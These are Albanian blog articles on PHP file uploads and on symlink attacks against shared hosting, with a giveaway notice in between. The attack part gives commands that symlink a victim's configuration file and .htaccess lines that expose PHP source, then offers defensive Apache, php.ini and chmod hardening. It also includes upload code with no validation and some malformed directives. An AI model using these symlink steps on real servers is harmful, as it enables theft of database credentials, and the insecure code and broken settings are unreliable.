Për fatin tonë, PHP ofron nivel të lartë abstraksioni për ngarkimin e skedarëve. Si ç’do shihni në vijim, kodi që bën ngarkimin është fare minimal dhe më tepër do merremi me validimin e formës. Megjithatë, përpara se të merremi me kodin PHP, duhet fillimisht të ndërtojmë një formë HTML.

Kodi më poshtë do të krijojë një formë të gatshme për ngarkim skedarësh. Atributi “enctype” përcakton tipin e enkodimit me të cilin skedarët do të dërgohen, ndërsa vlera “multipart/form-data” tregon se skedarët do të jenë binarë. Ju mjafton të dini se për të krijuar një formë ngarkimi, duhet të vendosni egzaktësisht atë atribut dhe vlerë. Pjesa tjetër është thjeshtë një “input” i tipit “file”, i cili shfaq një buton për të zgjedhur skedarin, dhe një buton për të dërguar formën. Mbani mend që input-it i kam vënë emrin “skedari”. Do e përdorim më pas në kodin PHP.

<form method="post" enctype="multipart/form-data">
	<input type="file" name="skedari">
	<button type="submit">Ngarko</button>
</form>
<p><!-- kodi PHP ne vijim do shkruhet ketu --></p>

Superglobalja $_FILES

Në momentin që dërgohet një formë si ajo më sipër, PHP krijon një variabël superglobale që përmban të gjitha informacionet e nevojshme rreth skedarit që po tentohet të ngarkohet. Variabla quhet $_FILES dhe në të vërtetë është një vektor multi-dimensional me disa çelësa. Po ju tregoj fillimisht çfarë vlere ka secili çelës.

$_FILES['skedari']['name'] => Emri i skedarit (psh: dokumenti.txt)
$_FILES['skedari']['type'] => Tipi (MIME) i skedarit (psh: image/jpeg)
$_FILES['skedari']['size'] => Madhesia e skedarit në byte (psh: 1024)
$_FILES['skedari']['tmp_name'] => Emri i përkohshëm i skedarit
$_FILES['skedari']['error'] => Kodi i gabimit nëse ngarkimi dështon

Do shihni që vektori thërritet me 2 çelësa. I pari është sigurisht emri i fushës së ngarkimit të cilës arbitrarisht ja vendosa “skedari”, por mund të jetë çfarëdo. Mjafton që çelësi i parë i vektorit të përputhet më atributin “name” në fushë. Çelësat e dytë janë ato që mbajnë informacionet rreth skedarit dhe pikërisht ato do të përdorim gjatë ngarkimit.

Për ta sqaruar pak proçesin, sepse me siguri mund t’ju bëjë konfuz; skedarët ngarkohen automatikisht në server, në direktorinë /tmp (/temp apo si do të jetë përcaktuar), kur forma dërgohet. Kjo ndodh edhe nëse nuk ka asnjë proçesim më pas. Por, në momentin që skripti mbaron egzekutimin, skedari i përkohshëm fshihet automatikisht. Detyra e PHP-së është që këtë skedar të përkohshëm (të aksesueshëm përmes $_FILES['skedari']['tmp_name']) ta lëvizë në direktorinë e duhur.

Ngarkimi më i Thjeshtë i Mundshëm

Le të prekim temën për të cilën besoj jeni më të interesuar. Do shkruaj pak rreshta kod PHP që realizon ngarkimin në formën më të thjeshtë të mundshme. Në seksionin tjetër do e zhvillojmë që të ofrojë më tepër siguri dhe validim.

<?php 
if (count($_FILES['skedari'])) {
	$tmp = $_FILES['skedari']['tmp_name'];
	$emri = $_FILES['skedari']['name'];
 
	if (move_uploaded_file($tmp, $emri)) {
		echo 'Skedari u ngarkua me sukses.';
	} else {
		echo 'Ndodhi nje problem ne ngarkim!';
	}
}
?>

Fillimisht kam kontrolluar nëse vektori $_FILES është krijuar, që do të thotë se forma është dërguar. Funksioni count() kthen numrin e elementëve të vektorit, ose 0 (zero) nëse nuk gjendet asnjë. Zero si numër, në PHP është ekuivalente me Boolean FALSE.

Funksioni tjetër që kam përdorur është move_uploaded_file(). Ky është një funksion i dedikuar për ngarkimin e skedarëve dhe bën spostimin e skedarit të përkohshëm ($tmp) në direktorinë e duhur. Nëse spostimi kryhet, funksioni kthen TRUE dhe printohet mesazhi i suksesit. Në të kundërt, funksoni kthen FALSE dhe printohet mesazhi i gabimit.

Në rastin më sipër, skedari spostohet në direktorinë ku ndodhet skripti, por mund të jetë çfarëdo direktorie. Në atë rast, parametri i dytë i funksionit move_uploaded_file() do të ishte: “direktoria/$emri”. Rëndësi ka që direktoria të jetë e shkrueshme dhe e aksesueshme nga user-i i serverit web.

Ngarkim pak më i Komplikuar

Deri tani keni parë një rast super të thjeshtë ngarkimi që realisht e bën punën. Problemi qendron se nuk ofron absolutisht asnjë validim dhe zero siguri. Kushdo mund të ngarkojë çfarëdo skedari në server, pa u kufizuar në format apo madhësi. Më keq akoma, një sulmues mund të ngarkojë një skedar PHP me të cilin bën ç’të dojë me serverin. Sigurisht, askujt nuk i intereson të ofrojë një mjet interaktiv i cili është vulnerabël.

Kodi në vijim do ngrihet në bazat që hodhëm më sipër, përsëri duke përdorur superglobalen $_FILES dhe funksionin move_uploaded_file(), por tashmë me kontroll të plotë mbi skedarin. Do kontrollohet madhësia, tipi i skedarit dhe emri do të zëvendësohet që të mos përmbajë karaktere të çuditshme.

<?php 
if (count($_FILES['skedari'])) {
	$tmp = $_FILES['skedari']['tmp_name'];
	$emri = $_FILES['skedari']['name'];
	$madhesia = $_FILES['skedari']['size'];
 
	// pathinfo() me parametrin PATHINFO_EXTENSION kthen
	// shtojcen (extension) e skedarit. Kthimi do te jete
	// i tipit: jpg, png apo txt.
	$shtojca = pathinfo($emri, PATHINFO_EXTENSION);
 
	// Madhesia maksimale ne byte. Shumezimi me poshte do te
	// ktheje "512 000", qe jane 500 KB.
	$madhesia_maks = 1024 * 500;
 
	// Nje vektor me shtojcat e lejuara
	$skedaret_lejuar = array('jpg', 'png', 'gif', 'bmp');
 
	// Kontrollon nese emri nuk eshte bosh
	if ($emri != '') {
		if ($madhesia <= $madhesia_maks) {
			// in_array() kontrollon nese nje vlere ndodhet ne
			// vektorin e dhene. Ne rastin tone, kontrollon nese
			// shtojca ndodhet ne listen e shtojcave te lejuara.
			if (in_array($shtojca, $skedaret_lejuar)) {
				// preg_replace() zevendeson tekstin e kerkuar me nje
				// tekst te dhene ne baze te Regular Expressions.
				// Kodi qe kam shkruar per kerkim, gjen te gjitha karakteret
				// jo-alfanumerike (pervec minusit dhe pikes) dhe i fshin.
				$emri = preg_replace('|[^a-z0-9-.]|i', '', $emri);
 
				if (move_uploaded_file($tmp, "direktoria/ngarkimeve/$emri")) {
					echo 'Skedari u ngarkua me sukses.';
				} else {
					echo 'Ndodhi nje problem ne ngarkim!';
				}
			} else {
				echo 'Skedari i zgjedhur nuk eshte i formatit te duhur.';
			}
		} else {
			echo 'Madhesia maksimale e lejuar eshte 500 KB.';
		}
	} else {
		echo 'Duhet te zgjidhni nje skedar me pare.';
	}
}
?>

Nuk duhet të ketë shumë gjëra të reja këtu, sepse s’kam bërë asgjë më shumë se disa validime tipike. Megjithatë, komentet duhet t’ju sqarojnë edhe ato paqartësi të mundshme, sidomos për funksionet pathinfo(), in_array() dhe Regular Expression. Ajo që ka rëndësi këtu është të kuptoni se ngarkimi i skedarëve mund të krijojë probleme të mëdha sigurie nëse nuk merrni masat e duhura. Përgjithësisht, mjafton që formatet e skedarëve të lejuar të përcaktohet si një listë e bardhë, në mënyrë që të filtroni vetëm ato që duhen. Thënë këto, asnjëherë mos lejoni të ngarkohen skedarë të egzekutueshëm apo skripte që mund të thërriten më pas nga shfletuesi.

Limitet në Ngarkim

Ngarkimi i skedarëve është një proçes që kërkon resurse nga serveri dhe për skedarë të mëdhenj, kërkon kohë. Si i tillë, abuzimi i pa-vetëdijshëm është shumë i mundshëm dhe për këtë arsye, PHP ofron disa direktiva për ti konfiguruar detajet e ngarkimit. Problemi është se shpesh herë këto konfigurime limitojnë aftësinë e ngarkimit dhe pengojnë eksperiencën e mirë të vizitorëve në aplikacion. Do ju tregoj cilat janë këto direktiva dhe për çfarë shërbejnë, në mënyrë që ti ndryshoni sipas nevojave.

file_uploads

Kjo është direktiva që lejon ose bllokon ngarkimin e skedarëve. Vlera bazë është “1″, pra e aktivizuar dhe normalisht, nëse doni të ofroni ngarkim skedarësh, duhet të mbetet e tillë.

upload_max_filezise

Limiton madhësine maksimale që një skedar mund të ngarkohet. Vlera bazë është “2M” (2 Mega Byte) dhe mund të modifikohet me një vlerë si numër për të shprehur byte, ose në formën e lexueshme: 500K, 10M, 100M, etj. Nëse në aplikacionin tuaj parashikoni ti lejoni vizitorët të ngarkojnë skedarë më të mëdhenj, rriteni vlerën respektivisht. Megjithatë, llogarisni që skedarë të mëdhenj të ngarkuar nga shumë vizitorë do e mbushin diskun shpejt.

post_max_size

Limiton madhësine maksimale të të dhënave që dërgohen me POST, përfshirë edhe ngarkimin e skedarëve. Vlera bazë është “8M”. Si rregull, post_max_size duhet të jetë më e madhe se upload_max_filesize, duke llogaritur qe krahas skedarëve për ngarkim, forma mund të përmbajë edhe të dhëna të tjera.

max_file_uploads

Limiton numrin e skedarëve që mund të ngarkohen në të njëjtën kohë. Vlera bazë është “20″, që do të thotë se mund të ngarkohen deri në 20 skedarë njëkohësisht. Nuk besoj se do ju duhen më tepër, por nëse po, mund ta modifikoni lirisht. Ngarkimin e më shumë se 1 skedari njëkohësisht do e shpjegoj në seksionin në vijim.

max_execution_time

Limiton kohën maksimale që një skript mund të egzekutohet, me vlerë bazë “30″ sekonda. Ndërsa nuk ka të bëjë direkt me ngarkimin e skedarëve, nëse koha që një skedari i duhet të ngarkohet e kalon kohën maksimale të egzekutimit, në fund ngarkimi do të dështojë. Nëse doni të ofroni ngarkim skedarësh të mëdhenj, sigurohuni ta rrisni kohën e egzekutimit në një vlerë që parashikon ngarkimin edhe në linja interneti jo shumë të fuqishme.

max_input_time

Limiton kohën maksimale që të dhëna nga POST ose GET mund të proçesohen. Vlera bazë është “-1″ (infinit) dhe me siguri e tillë është edhe në konfigurimin tuaj të PHP-së, por sigurohuni në çdo rast. Duhet të jetë të paktën sa vlera e vendosur në max_execution_time.

memory_limit

Limiton memorjen (RAM) që i vihet në dispozicion një skripti. Vlera bazë është “8M” ose “16M” në varësi të versionit të PHP-së. Zakonisht nuk është ide e mirë të rritet shumë, sepse mund të kompromentojë proçeset e tjera të serverit nëse një skript konsumon shumë memmorje. Megjithatë, nëse serveri ka RAM mjaftueshëm, mund ta rrisni në një vlerë mesatare për të lejuar ngarkime skedarësh të mëdhenj. Si rregull, memory_limit duhet të jetë më e madhe se post_max_size dhe si rrjedhim, akoma më e madhe se upload_max_filesize. Vendosini vlera në raport me resurset e serverit.

Ngarkimi i Disa Skedarëve në një Kohë

Shpesh herë mund t’ju duhet të ofroni forma ngarkimi që i lejojnë vizitorët të zgjedhin më shumë se 1 skedar dhe ti ngarkojnë njëkohësisht. Praktika është pothuajse e njëjtë me ato që kemi bërë deri tani, vetëm se do bëjmë pak modifikime në formën HTML dhe do e shfrytëzojmë ndryshe superglobalen $_FILES. Kjo e fundit është pak e komplikuar, sidomos për ata që nuk kanë eksperiencë me vektorët multi-dimensionalë, por do tentoj ta mbaj sa më të thjeshtë dhe të qartë shpjegimin.

Mbani mend që limitet e përmendura më sipër janë edhe më të efektshme nëse ngarkohen 2 apo më shumë skedarë. Nëse një skedar 1MB kërkon 10 sekonda të ngarkohet, 5 skedarë nga 1MB kërkojnë 50 sekonda. Nëse rritet madhësia, kohët bëhen edhe më të mëdha, prandaj tentoni të gjeni një vijë të ndërmjetme.

Fillimisht do modifikoj formën HTML që të shfaqë 3 fusha ngarkimi. Shihni që të treja fushat janë egzaktësisht të njëjta dhe me të njëjtin emër: skedari[]. Kllapat katrore në fund të emrit bëjnë që fushat të trajtohen si vektor dhe jo si fusha individuale. Praktikisht, kam krijuar një vektor me emrin “skedari” brenda superglobales $_FILES. E kuptoj që është pak e komplikuar, por do shkojmë edhe aty. Për momentin, ju duhet të dini vetëm rolin e kllapave katrore në emër. Në të njëjtën formë mund të shtohen fusha të tjera për të ofruar 5, 10 apo 20 fusha ngarkimi.

<form method="post" enctype="multipart/form-data">
	<input type="file" name="skedari[]">
	<input type="file" name="skedari[]">
	<input type="file" name="skedari[]">
	<button type="submit">Ngarko</button>
</form>

Me modifikimin që kam bërë, nëse do dërgoja formën dhe të shihja përmbajtjen e superglobales $_FILES, do e kisha shumë më të qartë strukturën e tij. Pikërisht këtë do bëj dhe jam i sigurt që ato që kam thënë më sipër do marrin kuptim. Hidhini një sy:

name => 1.txt, 2.txt, 3.txt
type => text/plain, text/plain, text/plain
tmp_name => /tmp/phprXpPaM, /tmp/phpQRVX5c, /tmp/php2rgAXH
error => 0, 0, 0
size => 682, 1402, 880

Praktikisht krijohet një vektor multidimensional shumë i ngjashëm me atë që kemi parë deri tani. I vetmi ndryshim është se çelësat “name”, “type”, “tmp_name”, “error” dhe “size” nuk janë më vlera të thjeshta, por vektorë. Si ç’e shihni, çdo çelës mban 3 vlera për secilin skedar të zgjedhur. Nëse do ishin 10 fusha ngarkimi, secili çelës do mbante 10 vlera. Besoj është e qartë tashmë se si mund ti ngarkojmë të gjithë skedarët në një kohë, por patjetër që do ju tregoj një kod të plotë. Në këtë rast nuk jam fokusuar në validim, sepse atë tashmë duhet të dini ta bëni dhe s’ka fare ndryshim nga ajo që ju tregova më herët, por në shfletimin e vektorit dhe ngarkimin e skedarëve.

<?php 
if (count($_FILES['skedari'])) {
	// Merr vektorin qe ndodhet nen celesin "name".
	// Vektori eshte i formes:
	// [name] => array('1.txt', '2.txt', '3.txt')
	$emrat = $_FILES['skedari']['name'];
 
	// Merr vektorin qe ndodhet nen celesin "tmp_name".
	// Vektori eshte i formes:
	// [tmp_name] => array('1.txt', '2.txt', '3.txt')
	$skedaret_tmp = $_FILES['skedari']['tmp_name'];
 
	// Shfleton vektorin e emrave per te mundesuar
	// ngarkimin individual te secilit skedar. Celesat
	// vendosen automatikisht ne vektor duke nisur nga zero
	// dhe jane te njejte per cdo vektor. Pra, vektori "name"
	// ka te njejtin numer elementesh dhe celesa me vektorin
	// "tmp_name", "type", "size" dhe "error". Skedari i pare
	// ne vektorin "name" ka celesin "0" dhe kjo perputhet
	// me direktorine e perkohshme te skedarit te pare ne
	// vektorin "tmp_name".
	foreach ($emrat as $celesi => $emri) {
		$tmp = $skedaret_tmp[$celesi];
 
		if (move_uploaded_file($tmp, $emri)) {
			echo "Skedari $emri u ngarkua me sukses.";
		} else {
			echo "Ndodhi nje problem gjate ngarkimit te skedarit $emri.";
		}
	}
}
?>

Dyshoj të jetë e komplikuar sepse nuk është asgjë më shumë se shfletim vektori dhe në momentin që e keni të qartë strukturën, asgjë nuk i mbetet rastësisë. Pjesa që ndoshta mund t’ju hutojë pak është përdorimi i çelësave të vektorit $emri për të referencuar vlerat e vektorit $skedaret_tmp. Si ç’e kam komentuar në kod, e gjithë ideja këtu është që çelësat në secilin vektor janë të njëjtë dhe përputhen për skedarët e ndryshëm. Pra, skedari i parë e ka emrin në elementin me çelësin 0 si në vektorin “name”, ashtu edhe në vektorin “tmp_name”.

Vektorët multi-dimensionalë janë ndër strukturat e të dhënave më komplekse në PHP, duke qenë se mund të shkojnë në thellësi virtualisht të pafundme të cilat bëhen të vështira të shfletohen. Nëse keni probleme ti kuptoni, kam shkruar një guidë të dedikuar për to që titullohet “Vektorët në PHP“. Krahas koncepteve tipike për vektorët, kam shpjeguar edhe si ndërtohen dhe shfletohen vektorët multi-dimensionalë, së bashku me disa funksione interesante të dedikuar për ta. Vektori multi-dimensional në rastin tonë është fare i thjeshtë, por nuk është çudi ta hutojë një fillestar.

Si ta Përmirësoni Eskperiencën e Ngarkimit

E vërteta është që forma standarte e ngarkimit të skedarëve nuk i ofron shumë vizitorëve. Nuk ka asnjë shenjë progresi (vetëm nëse e merr përsipër shfletuesi, si psh Chrome) deri sa skedari të ngarkohet dhe për raste ku madhësia është e konsiderueshme, mund të kërkojë aq kohë sa vizitori të hamendësojë se proçesi ka mbaruar apo ka ndodhur një problem. Sigurisht, në plot raste nuk është e nevojshme, sidomos aty ku ngarkohen skedarë të vegjël, por nëse doni ta çoni aplikacionin në nivelin tjetër, ju duhet të ofroni një zgjidhje të mirë.

Për fat të keq, PHP nuk ofron asgjë për të treguar progresin e ngarkimit dhe limitohet vetëm në transferimin e skedarit. Praktikisht është e pamundur me PHP dhe të vetmet zgjidhje që mbaj mend kanë qenë me versione të modifikuara (PHP e patch-uar). Kjo e fundit vështirë se mund të quhet zgjidhje dhe personalisht as nuk kam tentuar ta shoh si funksionon. Nga ana tjetër, zgjidhje të mira egzistojnë duke përdorur teknologji alternative ndaj PHP.

Një zgjidhje mjaft popullore vitet e fundit për të ofruar indikator progresi gjatë ngarkimit është duke përdorur Flash. Dakort, jo të gjithë janë përkrahës të Flash, përfshi edhe mua, por në këtë rast e bën punën shumë mirë. Më e mira është se Flash ka akses në parametra si madhësia e skedarait dhe sasia e ngarkuar, kështu që me pak llogaritje mund të nxirret progresi. Alternativa gati për përdorim ka plot, por i preferuari im është Uploadify. E kam përdorur shpesh në projekte dhe përvec se funksionon shumë mirë dhe instalohet për 2 minuta, ka plot opsione konfigurimi për ta përshtatur me nevojat tuaja.

Pamje nga ngarkuesi Uploadify

Alternativa që me siguri do bëhet standarti i të ardhmes është duke përdorur XMLHttpRequest, atë që vë AJAX në jetë. Ashtu si thirrjet AJAX, në shfletuesit modernë është e mundur të dërgohen skedarë binarë dhe të shfaqet progresi i ngarkimit. E mira këtu është se s’ka nevojë për Flash, gjë që e bën zgjidhje të pastër në Javascript. Një zgjidhje e gatshme që përdor XHR është Ajax Upload. Ofron zgjedhje dhe ngarkim të shumë-fishtë skedarësh, hedhje e skedarëve direkt në shfletues me drag-and-drop dhe kthim në iFrame të fshehur për shfletues të vjetër. I vetmi problem është se indikatori i progresit funksionon vetëm në Firefox 3.6+, Chrome 6+ dhe Safari 4+.

Përfundimi

Besoj se gjithçka ka qenë e thjeshtë dhe nuk kemi eksploruar me tepër se disa funksione PHP. Megjithatë, ngarkimi i skedarëve është një opsion që ju duhet patjetër ta keni në arsenalin e njohurive. Nuk ju falet nëse nuk përvetësoni diçka kaq të thjeshtë

E vetmja pjesë ku kompleksiteti rritet pak është ngarkimi i 2 ose më shumë skedarëve dhe për këtë kanë rol vektorët multi-dimensional. Kodi që ju kam ilustruar në sektorin përkatës është praktikisht gjithçka ju duhet dhe mund të përdorni atë për ta zgjeruar në bazë të kërkesave personale dhe validimit që do të ofroni.

Mësim të mbarë.

Fituesi i kësaj dhurate fantastike është: Fatlum me adresë e-maili: lumi-lucki@*****.com. Do të kontaktojmë për të të dhënë dhuratën. Urime!

Fituesi u zgjodh rastësisht nga një aplikacion i vogël i krijuar posaçërisht për këtë qëllim. Aplikacioni merr automatikisht nga faqja të gjithë emrat e komentuesëve dhe nxjerr një emër të rastësishëm.

Një tjetër dhuratë fantastike, një tjetër fitues potencial. E sigurtë është që vizitorët e Feniksit jo vetëm po përfitojnë guida cilësore, por po fitojnë gjithashtu.

Këtë rradhe duhet ti themi faleminderit VPSnine.com për dhuratën fantastike. Ofrohet një VPS (paketa VPS384) falas për 3 muaj për 1 vizitor të Feniksit, me vlerë $30. Ata që nuk e njohin, VPSNine është një kompani e re hostimi, e drejtuar nga një shqiptar dhe që specializohet për VPS. Sigurohuni ti hidhni një sy sepse ka vërtetë çmime të mira dhe shërbim cilësor.

Për të marrë pjesë në këtë konkurs të vogël, mjafton të shkruani një koment falenderimi për VPSNine:

I Love VPSNine

Fituesi do të zgjidhet rastësisht nga lista e komentuesëve pas 1 jave: më datë 14 Nëntor 2011.

Ju uroj fat.

Symlink (Symbolic Link ose Soft Link) është një tip i veçantë skedari që përmban lidhje me një skedar tjetër në sistemet UNIX dhe çdo derivat të tij. Praktikisht mund ta konsideroni si shortcuts në sistemet Windows.

Nëse do doja të krijoja një Symlink të skedarit “/home/feniksi/skedari.php” në skedarin “/home/luani/feniksi.php”, do shkruaja një komandë si më poshtë:

ln -s /home/feniksi/skedari.php /home/luani/feniksi.php

Komanda “ln”, nëse thërritet pa parametrin “-s”, krijon Hard Links, të cilat janë të ndryshëm në koncept nga Symlinks. Duke shtuar parametrin “-s”, linku i krijuar është Symlink. Në rastin më sipër, kam krijuar një Symlink për “skedari.php” të quajtur “feniksi.php”.

Një Symlink referencon direkt skedarin origjinal, qoftë në egzekutim apo lexim. Kjo e fundit, pra leximi i skedarëve origjinalë duke krijuar Symlinks, është edhe tema e kësaj guide.

Siguria lidhur me Symlinks

Problemi nga të cilët vuajnë serverat shared është se i lejojnë sulmuesëve të krijonë Symlinks që referencojnë skedarë që nuk u përkasin. Nëse këto skedarë janë opsione konfigurimi të viktimave, që përmbajnë të dhënat e databazës apo fjalëkalimin e administratorit, teknika bëhet vërtetë e rrezikshme. Serveri Web më popullor në planet, Apache, e ka të aktivizuar automatikisht opsionin “FollowSymlinks”, gjë që e bën vulnerabël.

Le të shohim një skenar se si sulmuesi mund të përdorë Symlinks për të marrë të dhëna sensitive nga viktima.

1. Sulmuesi ngarkon “php shell” tek llogaria e tij në server ose mund të ketë akses direkt në shell, për të egzekutuar komanda.
2. Krijon një Symlink të skedarit të konfigurimit të viktimës.
3. E lexon atë skedar dhe merr të dhënat e konfigurimit.

Duke mbetur në skenarin më sipër, sulmuesi mund të egzekutonte një komandë të tillë:

ln -s /home/viktima/public_html/konfigurimi.php /home/sulmuasi/public_html/newfolder/konfigurimi.php

Skedari “konfigurimi.php” i viktimës mund të ketë të dhënat e databazës së viktimës, gjë që ja bën shumë të lehtë punën sulmuesit. I mjafton të ngarkojë një aplikacion PHP që menaxhon databazat MySQL dhe të vendosë të dhënat e marra nga viktima. Automatikisht ka akses të bëjë gjithçka me atë databazë, qoftë ta manipulojë apo ta fshijë.

Edhe nëse FollowSymlinks nuk është e aktivizuar në Apache, sulmuesi mund ta aktivizojë me .htaccess duke vendosur +FollowSymlinks. Gjithashtu mund të bëjë që skedarët PHP të lexohen si tekst, duke shtuar AddHandler dhe AddType respektive, përsëri në .htaccess.

+FollowSymlinks
 
AddHandler txt .php
AddType txt .php

Si të mbroheni nga Symlinks

Metoda që do ju tregoj funksionon për pjesën më të madhe të rasteve dhe do ju sigurojë që Symlinks mos të abuzohen nga njerëz me qëllime përfitimi. Duke qenë se ka pasur shumë sulme të tilla, sidomos kohët e fundit me përhapjen e teknikës, ju këshilloj të merrni masa të menjëhershme. Më poshtë do ju tregoj 2 teknika, ose më mirë 2 raste në bazë të nivelit të aksesit që keni në server: Administrator ose Klient i një serveri shared.

Administratorët

Nëse jeni administrator i serverit, mund të shmangni problemet duke konfiguruar Apache-n që të mos lejojë mbivendosjen e opsionit FollowSymlinks. Konfigurimi është fare i thjeshtë dhe mund ta bëjë kushdo.

Fillimisht gjeni vendodhjen e skedarit të konfigurimit të Apache: httpd.conf. Kjo varet nga mënyra e instalimit. Psh, mund të jetë tek: /usr/local/apache/conf/httpd.conf.

Hapeni skedarin “httpd.conf” me një editor dhe gjeni rreshtin: . Duhet të duket e ngjashme me:

<Directory "/">
	Options ExecCGI -FollowSymLinks Includes IncludesNOEXEC Indexes MultiViews SymLinksIfOwnerMatch
	AllowOverride All
</Directory>

Direktiva “AllowOverride All” do të thotë se Apache i lejon të mbivendosen lokalisht opsionet përmes .htaccess. Kjo s’na intereson, sepse i lejon sulmuesëve të mbivendosin opsionin FollowSymlinks dhe të përfitojnë nga Symlinks. Do përcaktoj një listë të vetëm atyre opsioneve që na interesojnë të mbivendosen, duke i bllokuar të tjerat.

Tek “AllowOverride All” ndryshojeni në “AllowOverride AuthConfig FileInfo Indexes Limit Options=Includes,Indexes,MultiViews”. Duhet të duket si më poshtë:

<Directory "/">
	Options ExecCGI -FollowSymLinks Includes IncludesNOEXEC Indexes MultiViews SymLinksIfOwnerMatch
	AllowOverride AuthConfig FileInfo Indexes Limit Options=Includes,Indexes,MultiViews
</Directory>

Pasi ta keni bërë ndryshimin dhe ta keni ruajtur skedarin, bëni restart Apache-n. Zakonisht mjafton të shkruani komandën më poshtë, por kjo varet nga distro e Linux dhe mënyra e instalimit.

service httpd restart

Në këtë moment e keni siguruar serverin tuaj nga problemet e sigurisë që Symlinks krijojnë. Nëse një sulmues do tentojë të aktivizojë opsionin FollowSymlinks, në atë direktori do të shfaqet “Internal Server Error”. Një ndryshim shumë i vogël, por me rëndësi të madhe për të ruajtur integritetin të dhënave në serverin tuaj.

Nëse përdorni opsionet automatike të WHM, në shumë raste ai e rindërton konfigurimin e Apache. Sigurohuni të kontrolloni nëse AllowOverride është kthyer në “All”, apo ka mbetur si ç’e shkruajta më lart.

Klientët

Klientët normalisht nuk kanë akses në opsionet e konfigurimit të Apache, kështu që alternativat janë më të pakta. Por, për fat të mirë, pjesa më e madhe e serverave shared lejojnë krijimin e skedarëve .htaccess për të mbivendosur konfigurimet bazë të Apache.

Fillimisht krijoni një skedar me emër “.htaccess” (pika është e rëndësishme) në direktorinë ku ndodhet skedari i konfigurimit. Më pas, hapeni me një editor dhe vendosni kodin më poshtë:

<Files "konfigurimi.php">
Order Deny,Allow
Deny from All
</Files>

Kjo i bllokon të gjitha tentativat për të aksesuar skedarin, qoftë nga interneti apo përmes Symlinks. Emri “konfigurimi.php” është thjeshtë si shembull dhe normalisht do duhet ta ndërroni me emrin e skedarit tuaj të konfigurimit. Gjithashtu, do ju duhet të bëni të njëjtin veprim për çdo skedar që përmban të dhëna kritike.

Siguroni skriptet PHP nga funksionet e rrezikshme

Me zgjidhjen e problemeve nga Symlinks, ju mbetet edhe një gjë tjetër po aq e thjeshtë që i përket vetëm administratorëve të serverave. Bëhet fjalë për bllokimin e disa funksioneve të rrezikshme të PHP që mund të përdoren nga sulmuesit për të kryer dëme.

Gjeni skedarin e konfigurimit të PHP-së, php.ini, dhe hapeni me një editor. Bëni ndryshimet në direktivat e shënuara më poshtë:

cgi.force_redirect = 0;
cgi.fix_pathinfo = 0;
cgi.discard_path = 1;
disable_functions = disk_total_space, diskfreespace, apache_note, apache_setenv, closelog, debugger_off, debugger_on, define_syslog_variables, escapeshellarg, escapeshellcmd, ini_restore, openlog, passthru, pclose, pcntl_exec, popen, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, syslog, system, url_exec, base64_encodem, readlink, eval, glob, root, symlink;

Gjithashtu, për të mos lejuar që klientët të përdorin php.ini individuale dhe për të mos lejuar që klientët ti ndryshojnë ose ti fshijnë funksionet e rrezikshme në “disable_functions”, mjafton të ndryshoni konfigurimin e suPHP, i cili ndodhet në: /opt/suphp/etc/suphp.conf.

Hapeni atë skedar dhe gjeni rreshtat më poshtë:

[phprc_paths]
;Uncommenting these will force all requests to that handler to use the php.ini
;in the specified directory regardless of suPHP_ConfigPath settings.
;application/x-httpd-php=/usr/local/lib/
;application/x-httpd-php4=/usr/local/php4/lib/
;application/x-httpd-php5=/usr/local/lib/

Ndryshojini në:

[phprc_paths]
;Uncommenting these will force all requests to that handler to use the php.ini
;in the specified directory regardless of suPHP_ConfigPath settings.
application/x-httpd-php=/usr/local/lib/
application/x-httpd-php4=/usr/local/php4/lib/
application/x-httpd-php5=/usr/local/lib/

Në fakt thjeshtë kam hequr komentet, dmth pikë-presjet “;” nga çdo direktivë. Do ju duhet të bëni restart edhe një herë Apache-t dhe në fund të çaktivizoni Safe Mode në php.ini.

safe_mode = Off

Si ekstra, do ju sugjeroja të çaktivizoni disa komanda për klientë dhe ti lini vetëm për administratorin. Këtë mund ta bëni përmes SSH (Secure Shell), duke shkruar rreshtat më poshtë:

chmod 0700 /bin/ln
chmod 0700 /bin/su
chmod 0700 /bin/cat
chmod 0700 /bin/pwd
chmod 0700 /bin/kill
chmod 0700 /bin/doexec
chmod 0700 /bin/link
chmod 0700 /bin/chmod
chmod 0700 /bin/netstat
chmod 0500 /bin/ps
chmod 0700 /bin/df
chmod 0700 /usr/bin/lynx
chmod 0700 /usr/bin/gcc
chmod 0700 /usr/bin/nc
chmod 0700 /usr/bin/wget
chmod 0700 /usr/bin/scp
chmod 0700 /usr/bin/cvs
chmod 0700 /usr/bin/telnet
chmod 0700 /usr/bin/symlinks
chmod 0500 /usr/bin/w
chmod 0500 /usr/bin/who
chmod 0500 /usr/bin/free
chmod 0500 /usr/bin/vmstat
chmod 0700 /usr/bin/ld
chmod 0700 /usr/bin/tail
chmod 0700 /usr/bin/tailf
chmod 0700 /usr/bin/du
chmod 0700 /usr/bin/find
chmod 0700 /usr/bin/whoami
chmod 0700 /usr/bin/ld86
chmod 0700 /usr/bin/ldd
 
 
chmod 0700 /usr/lib/gcc
chmod 0700 /usr/lib/gcc-lib
 
chmod 700 /usr/bin/perlcc
chmod 700 /usr/bin/byacc
chmod 700 /usr/bin/yacc
chmod 700 /usr/bin/bcc
chmod 700 /usr/bin/kgcc
chmod 700 /usr/bin/cc
chmod 700 /usr/bin/gcc
chmod 700 /usr/bin/i386*cc
chmod 700 /usr/bin/*c++
chmod 700 /usr/bin/*g++
chmod 700 /usr/lib/bcc /usr/lib/bcc/bcc-cc1
chmod 700 /usr/i386-glibc21-linux/lib/gcc-lib/i386-redhat-linux/2.96/cc1

Përfundimi

Me vetëm disa ndryshime të thjeshta konfigurimi, siguruam që serverat shared të mos vuajnë nga problemet që sjellin Symlinks. Qofshit Administratorë apo thjeshtë Klientë të një serveri, hapat e mësipërm mund të ndiqen nga kushdo, me çdo nivel eksperience në Linux dhe menaxhim serverash web. Më e rëndësishmja është që bllokoni një sulm shumë të përhapur që mund ti rrezikojë shumë të dhënat tuaja personale.

Në këtë guidë do ju tregoj rastet tipike që një sulmues përdor për të përftuar nga një aplikacion PHP. Do të përfshij disa koncepte bazë që duhen respektuar përgjithësisht gjatë kodimit dhe shembuj konkretë sulmimi dhe mbrojtjeje. Duke qenë se vetëm një pjesë e vogël merret me opsione konfigurimi të PHP, praktikisht të gjitha teknikat mund të implementohen në gjuhë të tjera programimi për web. Mbani mend që siguria nuk është problem i një gjuhe. Edhe pse PHP ka disa opsione konfigurimi që s’mund të quhen zgjedhje të mira, në fund, përgjegjësia është tërësisht e programuesit. Nuk mund të fajësosh gjuhën për zgjedhje të gabuara në kodim apo mos dituri në limitet e saj.

Cilët Janë Sulmuesit

